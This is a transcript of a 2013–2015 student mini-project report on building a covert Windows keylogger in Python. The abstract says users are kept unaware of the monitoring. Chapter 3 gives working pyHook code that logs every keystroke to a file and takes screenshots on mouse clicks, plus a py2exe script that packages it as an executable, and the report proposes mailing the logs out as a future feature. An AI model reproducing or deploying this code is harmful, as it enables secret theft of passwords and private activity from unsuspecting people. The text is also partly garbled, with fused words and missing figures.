report on keylogger

download report on keylogger

of 16

Transcript of report on keylogger

  • 8/10/2019 report on keylogger

    1/16

    A WINDOWS PC APP ON KEYSTROKE ANALYSIS

    A MINI PROJECT REPORT SUBMITTED IN PARTIAL FULFILMENT OF THE

    REQUIREMENTS FOR (3/4)

    BACHELOR OF ENGINEERING

    IN

    INFORMATION TECHNOLOGY

    BY

    Mr. Srikanth Mamidi (1602-12-737-110)

    Mr. D.Saikiran (1602-11-737-098)

    UNDER THE GUIDANCE OF

    Mrs. Divya

    Mrs.DRL PrasannaMr. Satyaveer

    Mr. Purshotham

    Department of Information Technology

    VASAVICOLLEGE OF ENGINEERING

    IBRAHIMBAGH, HYDERABAD500 031.

    2013

  • 8/10/2019 report on keylogger

    2/16

    Department of Information Technology

    VASAVI COLLEGE OF ENGINEERING

    IBRAHIMBAGH, HYDERABD500 031

    CERTIFICATE

    This is to certify that the Mini Project Work on A WINDOWS PC on KEYSTROKE

    ANALYSIS carried out by Srikanth Mamidi(1602-12-737-110) and D Sai Kiran(1602-11-737-

    098) in partial fulfillment of the requirement for the award of Bachelor of Engineering (B.E) in

    Information Technology by Osmania University during the period 2014-2015 under our

    guidance.

    The results embodied in this project have not been submitted to any other University of

    Institution for the award of any degree or diploma.

    Guides: Examiner:

    1.L.Divya Mrs.DRL Prasanna2.Satyaveer

  • 8/10/2019 report on keylogger

    3/16

    ACKNOWLEDGEMENT

    This project would be incomplete without acknowledging the help provided by the

    faculty members of the Department of Information Technology, Vasavi College of Engineering.

    We would like to express our gratitude and sincere thanks to Our beloved Principal RamanaMurthy, Prof.N.Vasantha, Head of the Department for giving us the opportunity of working on

    the present project.

    We are thankful to all those who have helped us and guided us in making this project.We are also thankful to the staff of the Department Computer Centre without whose help and

    Suggestions, none of this wouldve been possible.

  • 8/10/2019 report on keylogger

    4/16

    TABLE OF CONTENTS:

    ABSTRACT

    LITERATURE SURVEY

    Chapter 1: Introduction

    1.1About the Project1.2Python programming Language1.3Py2Exe converter

    Chapter 2 :System Analysis and Design

    2.1 Use Case Diagram

    2.2 Use Case Description2.3 Class Diagram

    2.4 Sequence Diagram2.5 Hardware ,Languages and Software Requirements

    2.6 Technology Used

    Chapter 3 :Coding Snippets

    3.1 Coding

    Chapter 4 :Testing and Test Results

    4.1 Screen Shots

    Chapter 5 :Conclusion and Future Scope

    5.1 Conclusion

    5.2 Future Scope

  • 8/10/2019 report on keylogger

    5/16

    ABSTRACT

    Title: Keystroke analysisObjective:

    Here the project is developing a windows app for pc called key stroke analysis. Key logger is a

    application used for for action of tracking the keys when ever user presses keyboard, keyword

    strokes are captured in converted manner so users are unaware that their actions are monitored.

    This software also contain that action of capturing the desktop if a person is using the mouse or

    joystick instead of keyboard that can ultimately be stored in a hidden log file that log file is being

    viewed by administrator only. It can be accessed by administrator only.

    This technology can be used for finding out all the sites and files which are being accessed by

    any person in the administrators absence.

    The project can be used for proper identification and authentication. The typing dynamics can be

    used for different user profiles. Thus this becomes a valid tool for ascertaining personal identity.

    Software requirements:python 2.7

    py2exe

    Hardware requirements:

    Processor: 1 gigahertz (GHz)RAM:1 gigabyte(GB)(64-bit)

    Hard disk space:16 GB(64-bit)

    Project members:

    D .Sai Kiran (1602-12-737-098).

    M. Srikanth (1602-12-737-110).

  • 8/10/2019 report on keylogger

    6/16

    Literature SurveyTitle: Keystroke analysisObjective:Here the project is developing a windows app for pc and the app called key stroke analysis. Keylogger is a application used for for action of tracking the keys when ever user presses keyboard,

    keyword strokes are captured in converted manner so users are unaware that their actions aremonitored.This software also contain that action of capturing the desktop if a person is using the mouse or

    joystick instead of keyboard that can ultimately be stored in a hidden log file that log file is being

    viewed by administrator only.It can be accessed by administrator only.

    This technology can be used for finding out all the sites and files which are being accessed byany person in the administrators absence.

    The project can be used for proper identification and authentication. The typing dynamics can be

    used for different user profiles. Thus this becomes a valid tool for ascertaining personal identity.

    Existing system:here the windows app which already exist captures just the key strokes. since the application is

    hidden user is unaware that his actions are monitoredProposed system:So here in the mini project we want to develop the code for the windows app by using the

    languages python here we would like to include certain extra features to the key logger such asrecording desktop activity taking the screen shorts at regular intervals , logs are encrypted. The

    application is very easy to use so that customers feel happy while using this.

    Project members:

    D .Sai Kiran (1602-12-737-098).

    M. Srikanth (1602-12-737-110).

    References:www.python.orgwww.coursera.org

    http://www.python.org/http://www.python.org/http://www.coursera.org/http://www.coursera.org/http://www.coursera.org/http://www.python.org/
  • 8/10/2019 report on keylogger

    7/16

    CHAPTER 1

    INTRODUCTION1.1About the Project

    Here the project is developing a windows app for pc and the app called key stroke analysis. Keylogger is a application used for for action of tracking the keys when ever user presses keyboard,

    keyword strokes are captured in converted manner so users are unaware that their actions are

    monitored.

    This software also contain that action of capturing the desktop if a person is using the mouse orjoystick instead of keyboard that can ultimately be stored in a hidden log file that log file is being

    viewed by administrator only. It can be accessed by administrator only.

    This technology can be used for finding out all the sites and files which are being accessed by

    any person in the administrators absence.

    The project can be used for proper identification and authentication. The typing dynamics can be

    used for different user profiles. Thus this becomes a valid tool for ascertaining personal identity

    1.2 Python programming language

    Pythonis a widely used general-purpose, high-level programming language. Its design philosophy

    emphasizes code readability, and its syntax allows programmers to express concepts in fewer line

    of code than would be possible in languages such as C++ or Java. The language provides

    constructs intended to enable clear programs on both a small and large scale.

    Python supports multiple programming paradigms, including object-

    oriented, imperative and functional programming or procedural styles. It features a dynamic

    type system and automatic memory management and has a large and comprehensive standard

    library.

    Python interpreters are available for installation on many operating systems, allowing Python code

    execution on a majority of systems. Using third-party tools, such as Py2exe or Pyinstaller, Python

    code can be packaged into stand-alone executable programs for some of the most popular operatingsystems, allowing for the distribution of Python-based software for use on those environments

    without requiring the installation of a Python interpreter.

    FEATURES:-

    1. Simple

    2. Open source

  • 8/10/2019 report on keylogger

    8/16

    3. High level Language

    4. Interpreted

    5. Extensive Libraries

    Py2exe Converter:

    .

    CHAPTER 2

    SYSTEM ANALYSIS AND DESIGN

    2.1 Use Case Diagram:

  • 8/10/2019 report on keylogger

    9/16

  • 8/10/2019 report on keylogger

    10/16

    2.4 Sequence Diagram:

  • 8/10/2019 report on keylogger

    11/16

    2.5 Hardware ,Languages and Software Requirements:

    Hardware Requirements:

    Processor: 2.4 gigahertz (GHz)

    RAM: 6 gigabyte (GB) (64-bit)

    Hard disk space: 16 GB (64-bit)

    Languages required:

    PYTHON

    Software Requirements:

    Python 2.7

    PY2EXE Converter

    2.6 Technology Used

    This Project is done using Py2exe converter. Py2exe is used to convert the python code into an

    executable file by using setup file. the coding part of the project is done using python

    programming language. Python idle is used to run the python code and convert it into exe using

    py2exe converter.

  • 8/10/2019 report on keylogger

    12/16

    CHAPTER 3

    CODING SNIPPETS3.1Coding:

    Keylogger.py

    import ImageGrabimport pythoncom, pyHook, sys

    import time, threading

    print "keylogger"def OnKeyboardEvent(event):

    file = open('D:\MP\logs\engu.txt', 'a')msg = str(chr(event.Ascii))

    file.write(msg)

    return Truedef shot():

  • 8/10/2019 report on keylogger

    13/16

    im=ImageGrab.grab()

    name = time.ctime().replace(':', '-')

    im.save(name+'.jpg')print 'taken'

    time.sleep(10)

    def OnMouseEvent(event):

    shot_thr = threading.Thread(target=shot, args=())

    shot_thr.daemon = Trueshot_thr.start()

    print 'done'

    return True

    hm = pyHook.HookManager()

    hm.KeyDown = OnKeyboardEvent

    hm.MouseAllButtonsDown = OnMouseEventhm.HookMouse()

    hm.HookKeyboard()

    pythoncom.PumpMessages()

    Setup.py:

    fromdistutils.coreimportsetup

    importpy2exe

    setup(console=['Keylogger.py'])

    CHAPTER 4

    TESTING AND TEST RESULTS

    4.1 Screen Shots:

  • 8/10/2019 report on keylogger

    14/16

    While taking screen shots:

    Screen shots taken by the keylogger on Mouse click:

  • 8/10/2019 report on keylogger

    15/16

    LOGFILE Where logs are stored:

  • 8/10/2019 report on keylogger

    16/16

    CHAPTER 5

    CONCLUSION AND FUTURE SCOPE

    5.1 Conclusion :

    A Windows Pc App on Keystroke analysis has been implemented successfully,

    Which saves the keystrokes in a log file and saves screenshots at regular intervals and whenevermouse is pressed

    5.2 Future Scope :

    The app can be further extended to add certain extra features like mailing the logs that

    are stored in the log file.